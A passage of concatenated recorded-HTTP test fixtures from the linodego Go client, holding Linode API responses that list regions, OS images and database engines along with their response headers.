"139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 11}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestClient_APIResponseBadGateway.yaml000066400000000000000000000336051455402072200336650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/images method: GET response: body: '{"data": [{"id": "linode/almalinux8", "label": "AlmaLinux 8", "deprecated": false, "size": 1700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "AlmaLinux", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.12", "label": "Alpine 3.12", "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.13", "label": "Alpine 3.13", "deprecated": false, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.14", "label": "Alpine 3.14", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.15", "label": "Alpine 3.15", "deprecated": false, "size": 400, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/arch", "label": "Arch Linux", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Arch", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/centos7", "label": "CentOS 7", "deprecated": false, "size": 2800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos-stream8", "label": "CentOS Stream 8", "deprecated": false, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos-stream9", "label": "CentOS Stream 9", "deprecated": false, "size": 1200, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian10", "label": "Debian 10", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11", "label": "Debian 11", "deprecated": false, "size": 1300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9", "label": "Debian 9", "deprecated": false, "size": 1600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora34", "label": "Fedora 34", "deprecated": false, "size": 1800, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora35", "label": "Fedora 35", "deprecated": false, "size": 1500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/gentoo", "label": "Gentoo", "deprecated": false, "size": 4600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Gentoo", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/debian11-kube-v1.20.15", "label": "Kubernetes 1.20.15 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.20.7", "label": "Kubernetes 1.20.7 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.21.1", "label": "Kubernetes 1.21.1 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.21.9", "label": "Kubernetes 1.21.9 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian9-kube-v1.22.2", "label": "Kubernetes 1.22.2 on Debian 9", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.22.6", "label": "Kubernetes 1.22.6 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/debian11-kube-v1.23.4", "label": "Kubernetes 1.23.4 on Debian 11", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Debian", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/opensuse15.3", "label": "openSUSE Leap 15.3", "deprecated": false, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/rocky8", "label": "Rocky Linux 8", "deprecated": false, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Rocky", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.2", "label": "Slackware 14.2", "deprecated": false, "size": 6000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": "1970-01-01T05:00:00", "status": "available"}, {"id": "linode/slackware15.0", "label": "Slackware 15.0", "deprecated": false, "size": 10000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu16.04lts", "label": "Ubuntu 16.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu18.04", "label": "Ubuntu 18.04 LTS", "deprecated": false, "size": 2700, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu20.04", "label": "Ubuntu 20.04 LTS", "deprecated": false, "size": 2000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/ubuntu21.10", "label": "Ubuntu 21.10", "deprecated": false, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/alpine3.11", "label": "Alpine 3.11", "deprecated": true, "size": 300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Alpine", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/centos8", "label": "CentOS 8", "deprecated": true, "size": 2300, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "CentOS", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/fedora33", "label": "Fedora 33", "deprecated": true, "size": 2600, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Fedora", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/opensuse15.2", "label": "openSUSE Leap 15.2", "deprecated": true, "size": 1550, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "openSUSE", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}, {"id": "linode/slackware14.1", "label": "Slackware 14.1", "deprecated": true, "size": 1000, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": null, "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Slackware", "expiry": null, "eol": null, "status": "available"}, {"id": "linode/ubuntu21.04", "label": "Ubuntu 21.04", "deprecated": true, "size": 3500, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "description": "", "created_by": "linode", "type": "manual", "is_public": true, "vendor": "Ubuntu", "expiry": null, "eol": "2018-01-02T03:04:05", "status": "available"}], "page": 1, "pages": 1, "results": 36}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDatabase_Engine.yaml000066400000000000000000000067461455402072200313050ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/engines method: GET response: body: '{"data": [{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}, {"id": "mysql/8.0.30", "engine": "mysql", "version": "8.0.30"}, {"id": "postgresql/10.23", "engine": "postgresql", "version": "10.23"}, {"id": "postgresql/11.17", "engine": "postgresql", "version": "11.17"}, {"id": "postgresql/12.12", "engine": "postgresql", "version": "12.12"}, {"id": "postgresql/13.8", "engine": "postgresql", "version": "13.8"}, {"id": "postgresql/14.6", "engine": "postgresql", "version": "14.6"}], "page": 1, "pages": 1, "results": 7}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "531" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/databases/engines/mysql%2F5.7.39 method: GET response: body: '{"id": "mysql/5.7.39", "engine": "mysql", "version": "5.7.39"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "62" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestDatabase_List.yaml000066400000000000000000010703371455402072200310110ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", 